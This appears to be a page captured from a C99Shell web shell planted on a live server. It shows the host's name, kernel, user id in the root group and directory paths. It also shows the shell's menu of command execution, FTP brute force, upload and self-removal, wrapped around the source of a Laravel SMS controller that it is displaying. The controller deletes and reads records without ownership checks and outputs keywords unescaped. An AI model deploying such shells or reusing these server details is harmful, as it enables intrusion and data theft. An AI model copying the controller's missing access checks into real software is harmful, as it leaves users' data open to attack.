!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ResponderController.php (15.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Keyword;
use 
App\Models\KeywordGroup;
use 
App\Models\KeywordText;
use 
App\Models\Responder;
use 
App\Models\ResponderDetail;
use 
App\Models\SmsTemplate;
use 
GuzzleHttp\Client;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Carbon;
use 
Illuminate\Support\Facades\Date;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Log;
use 
Illuminate\Support\Facades\Validator;

class 
ResponderController extends Controller
{

    public function 
index(){
        return 
view('customer.responder.index');
    }

    public function 
getAll(){
        
$authUser=auth('customer')->user();

        
$responders$authUser->responders();
        return 
datatables()->of($responders)
            ->
addColumn('created_at',function($q){

                return 
formatDate($q->created_at);
            })
            ->
addColumn('action',function($q){
                return 
"<a class='btn btn-sm btn-info' href='" route('customer.responders.edit', [$q->id]) . "' title='Edit'><i class='fa fa-pencil-alt'></i></a> &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this responder?"
                                        data-action=' 
route('customer.responders.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm" title="Delete"><i class="fa fa-trash"></i></button>'
;
            })
            ->
addColumn('status',function($q){
                
$status='';
                if(
$q->status=='active'){
                    
$status='<span class="badge badge-success">'.ucfirst($q->status).'</span>';
                }else{
                    
$status='<span class="badge badge-danger">'.ucfirst($q->status).'</span>';
                }
                return 
$status;
            })
            ->
rawColumns(['action','status'])
            ->
toJson();

    }

    function 
generateChildLoop($all_responders){

        
$html_data='';

       foreach (
$all_responders as $key=>$s_responder){

           
$style=$s_responder->style?$s_responder->style:"position:relative;left:0;top:0;";
           
$templates='';
           if(
$s_responder->template && json_decode($s_responder->template)){
               
$templates=SmsTemplate::whereIn('id'json_decode($s_responder->template))->pluck('title')->toArray();
               
$templates=implode(','$templates);
           }


           if(
$s_responder->parent_id){

                   
$this->generateChildLoop($s_responder->responders);

               
$html_data .= '<div class="draggable-item get_style_'.$s_responder->id.'" data-id="'.$s_responder->id.'" id="start_' $s_responder->id '" style='.$style.'>
                                            <div class="p-2">
                                                <div>
                                                <span class="box-element-title">
                                                    Node # <span class="node-counter">' 
$s_responder->id '</span>
                                                </span>

                                                    <span class="float-right box-element-icon-section">
                                                    <i class="fa fa-file d-none"></i>
                                                    <i data-detail-id="' 
$s_responder->id '" data-parent-node="' $s_responder->parent_id '"
                                                       class="fa fa-eye ml-1 preview_modal preview_element_' 
$s_responder->id '"></i>
                                                    <i class="fa fa-copy d-none ml-1"></i>

                                                    <i data-id="start_'
.$s_responder->id.'" data-parent-node="' $s_responder->parent_id '"
                                                    data-parent-id="' 
$s_responder->id '" data-current-node="' $s_responder->id '" class="add_new_element fa fa-plus ml-1"></i>

                                                    <i  data-parent-node="' 
$s_responder->parent_id '" data-current-node="' $s_responder->id '"
                                                        data-detail-id="' 
$s_responder->id '" class="delete_element fa fa-trash ml-1"></i>
                                                </span>
                                                </div>
                                                <h6 class="mb-1 box-element-secondary-title d-none">
                                                    0 replied(2)
                                                </h6>
                                                <h6 class="mb-1 box-element-secondary-title d-none">
                                                    0 clicked(2)
                                                </h6>
                                                <h6 class="mb-1 box-element-secondary-title d-none">
                                                    0 listened(2)
                                                </h6>
                                                <h6 class="mb-1 box-element-secondary-title"><strong>Keyword</strong>:
                                                    <span class="keyword_section_' 
$s_responder->id '">'.$s_responder->keyword.'</span></h6>
                                                <h6 class="mb-1 box-element-secondary-title"><strong>Intend</strong>: <span class="show_intends_'
.$s_responder->id.'">'.$templates.'</span></h6>
                                            </div>
                                            <div class="start_dot"><div class="dot-black"></div></div>
                                            <div class="end_dot"><div class="dot-black"></div></div>
                                        </div>'
;

           } else {
               
$html_data .= '<div class="draggable-item get_style_'.$s_responder->id.'" data-id="'.$s_responder->id.'" id="start_' $s_responder->id '" style='.$style.'>
                                            <div class="p-2">
                                                <div>
                                                <span class="box-element-title">
                                                    Node # <span class="node-counter">' 
$s_responder->id '</span>
                                                </span>

                                                    <span class="float-right box-element-icon-section">
                                                    <i class="fa fa-file d-none"></i>
                                                    <i data-detail-id="' 
$s_responder->id '" data-parent-node="' $s_responder->parent_id '"
                                                       class="fa fa-eye ml-1 preview_modal preview_element_' 
$s_responder->id '"></i>
                                                    <i class="fa fa-copy d-none ml-1"></i>

                                                    <i data-id="start_'
.$s_responder->id.'" data-parent-node="root"
                                                    data-parent-id="' 
$s_responder->id '" data-current-node="' $s_responder->id '" class="add_new_element fa fa-plus ml-1"></i>

                                                    <i  data-parent-node="' 
$s_responder->parent_id '" data-current-node="' $s_responder->id '"
                                                        data-detail-id="' 
$s_responder->id '" class="delete_element fa fa-trash ml-1"></i>
                                                </span>
                                                </div>
                                                <h6 class="mb-1 box-element-secondary-title d-none">
                                                    0 replied(2)
                                                </h6>
                                                <h6 class="mb-1 box-element-secondary-title d-none">
                                                    0 clicked(2)
                                                </h6>
                                                <h6 class="mb-1 box-element-secondary-title d-none">
                                                    0 listened(2)
                                                </h6>
                                                <h6 class="mb-1 box-element-secondary-title"><strong>Keyword</strong>:
                                                    <span class="keyword_section_' 
$s_responder->id '">'.$s_responder->keyword.'</span></h6>
                                                <h6 class="mb-1 box-element-secondary-title"><strong>Intend</strong>: <span class="show_intends_'
.$s_responder->id.'">'.$templates.'</span></h6>
                                            </div>
                                            <div class="start_dot"><div class="dot-black"></div></div>
                                            <div class="end_dot"><div class="dot-black"></div></div>
                                        </div>'
;

           }
       }

       return 
$html_data;

    }



    public function 
create(){

        
$data['contact_groups']=auth('customer')->user()->active_groups;

        return 
view('customer.responder.create'$data);
    }

    public function 
store(Request $request){

        
$request->validate([
            
'name'=>'required',
            
'status'=>'required|in:active,inactive'
        
]);

        
$responder=new Responder();
        
$responder->customer_id=auth('customer')->user()->id;
        
$responder->name=$request->name;
        
$responder->status=$request->status;
        
$responder->save();

        return 
redirect()->route('customer.responders.edit'$responder);
    }

    public function 
edit(Responder $responder)
    {
        
$data['responder']=$responder;

        
$data['contact_groups']=auth('customer')->user()->active_groups;

        
$data['keyword_groups']=auth('customer')->user()->keyword_groups()->get();
       
$return_html$this->generateChildLoop($responder->details);

       
$data['return_html']=$return_html;

        return 
view('customer.responder.create'$data);
    }

    public function 
destroy(Responder $responder)
    {
        if (
$responder->details) {
            
ResponderDetail::where('responder_id'$responder->id)->delete();
        }

        
$responder->delete();

        return 
redirect()->back()->with('success''Responder with details successfully deleted');
    }


    public function 
redponder_detail(Request $request)
    {
        
$responder_detail=ResponderDetail::where('responder_id'$request->responder_id)->where('id'$request->detail_id)->first();

        if(!
$responder_detail){
            return 
response()->json(['status'=>'failed''message'=>'Invalid Request']);
        }

        return 
response()->json(['status'=>'success''data'=>$responder_detail]);

    }
    public function 
create_responder_details(Request $request)
    {

        
$responder=Responder::where('customer_id'auth('customer')->user()->id)->where('id'$request->responder_id)->first();
        if(!
$responder){
            return 
response()->json(['status'=>'failed''message'=>'Something went wrong, try again after sometimes']);
        }

        
$responder_detail=new ResponderDetail();
        
$responder_detail->responder_id=$responder->id;
        if(
$request->parent_id) {
            
$responder_detail->parent_id=$request->parent_id;
        }
        
$responder_detail->save();

        return 
response()->json(['status'=>'success''data'=>$responder_detail->id,'message'=>'Responder Successfully Updated']);
    }


    public function 
detail_store(Request $request)
    {

//        $validator = Validator::make($request->all(), [
//            'title' => 'required|unique:posts|max:255',
//            'body' => 'required',
//        ]);
//
//        if ($validator->fails()) {
//
//        }
        
DB::beginTransaction();

        
$responder_detail=ResponderDetail::where('responder_id'$request->responder_id)->where('id'$request->id)->first();
        if(!
$responder_detail){
            return 
response()->json(['status'=>'failed''message'=>'Invalid Request']);
        }

        
$responder_detail->group=$request->group_id;
        
$responder_detail->keyword=$request->keywords;
        
$responder_detail->template=$request->templates?json_encode($request->templates):null;
        
$responder_detail->keyword_groups=$request->keyword_groups?json_encode($request->keyword_groups):null;
        
$responder_detail->style=$request->style?json_encode($request->style):null;
        
$responder_detail->save();

        if(
$request->keywords) {
            
$responder_detail->keyword_texts()->delete();

            
$keywords explode(','$request->keywords);
            if(
$keywords && is_array($keywords)) {
                foreach (
$keywords as $keyword) {
                    
$position getTextPosition($keyword'%');
                    
$responder_kw_text = new KeywordText();
                    
$responder_kw_text->customer_id auth('customer')->user()->id;
                    
$responder_kw_text->responder_detail_id $responder_detail->id;
                    
$responder_kw_text->key $keyword;
                    
$responder_kw_text->position $position;
                    
$responder_kw_text->save();
                }
            }
        }

        if(
$request->keyword_groups) {
            
$keyword_groups KeywordGroup::where('customer_id'auth('customer')->user()->id)->whereIn('name'$request->keyword_groups)->get();

            
$keywordIds = [];
            foreach (
$keyword_groups as $keyword_group) {
                if (
$keyword_group->keyword_ids) {
                    foreach (
json_decode($keyword_group->keyword_ids) as $ids) {
                        
$keywordIds[] = $ids;
                    }
                }
            }
            
$keywordIds array_unique($keywordIds);
            
$allKeywords Keyword::where('customer_id'auth('customer')->user()->id)->whereIn('id'$keywordIds)->get();
            foreach (
$allKeywords as $k_word) {

                
$position getTextPosition($k_word->word'%');
                
$responder_kw_text = new KeywordText();
                
$responder_kw_text->customer_id auth('customer')->user()->id;
                
$responder_kw_text->responder_detail_id $responder_detail->id;
                
$responder_kw_text->key $k_word->word;
                
$responder_kw_text->position $position $position 'left';
                
$responder_kw_text->save();

            }
        }

        
DB::commit();
        return 
response()->json(['status'=>'success','data'=>$responder_detail]);

    }

    public function 
getTemplates(Request $request){

        
$sms_templates=SmsTemplate::where('customer_id'auth('customer')->user()->id)->where('status''active')
            ->
orderByDesc('created_at')->get();

        return 
response()->json(['status'=>'success''data'=>$sms_templates]);
    }

    public function 
saveTemplates(Request $request){

        try{
            
$user auth('customer')->user();

            
$template =new SmsTemplate();
            
$template->customer_id $user->id;
            
$template->title $request->title;
            
$template->status 'active';
            
$template->body $request->body;
            
$template->save();

            return 
response()->json(['status'=>'success''message'=>'Template Successfully Created']);

        }catch(
\Exception $ex){
            return 
response()->json(['status'=>'failed''message'=>$ex->getMessage()]);
        }

    }



    public function 
delete_detail(Request $request)
    {
        
$detail=ResponderDetail::where('id'$request->id)->first();
        if(!
$detail){
            return 
response()->json(['status'=>'failed''message'=>'Invalid Response Detail']);
        }
        if(
$detail->responders){
            
ResponderDetail::whereIn('id'$detail->responders->pluck('id'))->delete();
        }

        
$detail->delete();

        return 
response()->json(['status'=>'success''message'=>'Response Detail Successfully Deleted']);

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--